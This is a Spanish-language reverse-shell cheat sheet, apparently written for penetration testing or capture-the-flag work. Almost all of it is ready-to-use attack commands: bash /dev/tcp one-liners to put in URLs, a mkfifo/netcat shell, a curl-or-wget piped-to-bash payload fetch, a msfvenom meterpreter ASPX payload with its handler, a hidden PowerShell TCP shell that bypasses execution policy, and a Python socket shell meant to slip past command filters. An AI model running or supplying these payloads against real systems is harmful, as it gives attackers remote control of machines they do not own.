Reverse Shells

Técnicas para una reverse shell #

Consideraciones #

  • En ocasiones el PUERTO puede determinar que funcione o no
  • **Si no funciona, probar a cambiar el tipo de comillas "" ’’ **
  • Si metemos la reverse shell en la URL, mejor URLencodear el comando.
  • Si metemos la reverse shell a través de un comando con un exploit en el terminal, poner el comando entre comillas

Reverse shell en la URL con BASH #

Si tenemos ejecución remota de comandos a través de una URL, podemos establecer una reverse shell con bash. Nos ponemos a la escucha y ejecutamos el comando en la URL.

"bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"
'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'
"bash -c 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'"

Reverse shell en la URL con mkfifo #

URLencodeando esto, y poniendonos a la escucha con netcat, podemos establecer una reverse shell.

#Ponernos a la escucha en la maquina atacante
nc -nlvp 8888

#Comando a ejecutar en la URL
rm /tmpf;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.3:8888 >/tmp/f

File upload PHP #

Si podemos subir ficheros, una opción es subir un php malicioso con el código de la reverse shell, ponernos a la escucha, y visitar el fichero/url https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

RCE con CURL en BASH #

En ocasiones el comando en la URL no funciona, pero si ejecuta comandos. Se puede meter el codigo malicioso en un fichero index.html, servir esto con python, y hacer un curl desde la URL (teniendo RCE a través de la URL).

1º- Crear un fichero index.html con el siguiente contenido (una de las 3):

"bash -i >& /dev/tcp/10.0.0.1/443 0>&1"
'bash -i >& /dev/tcp/10.0.0.1/443 0>&1'
"bash -c 'bash -i >& /dev/tcp/10.0.0.1/443 0>&1'"

2º- Servir con python y ponernos a la escucha con netcat:

pyton3 -m http.server 80
nc -nlvp 443

3º - Hacer un curl desde la URL y pipeamos con bash para interpretar el código.

"curl 'http://ip' | bash"
"wget 'http://ip' | bash"

Reverse Shell en IIS Windows #

En IIS funciona totalmente distinto a nginx y apache. En caso de no tener PHP, se puede entablar una reverse shell subiendo un fichero .aspx malicioso.

Para ello se crea un payload con msfvenom y se sube a la víctima

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tu_ip LPORT=tu_puerto -f aspx > payload.aspx

En el atacante

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST tu_ip
set LPORT tu_puerto

RCE en IIS windows #

Teniendo un cuadro de texto donde ejecutar comandos de sistema, nos ponemos a la escucha por el puerto que queramos y ejecutamos esta “linea”

powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient('192.168.100.5',4545); $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2  = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}; $client.Close()"

Filtros command execution #

En ocasiones podemos ejecutar algunos comandos, pero no “bash”, “cat” o similares que puedan ser interpretados como una amenaza. Algunas alternativas son:

find /usr/bin/python3 -exec {} -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.1.42.127",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;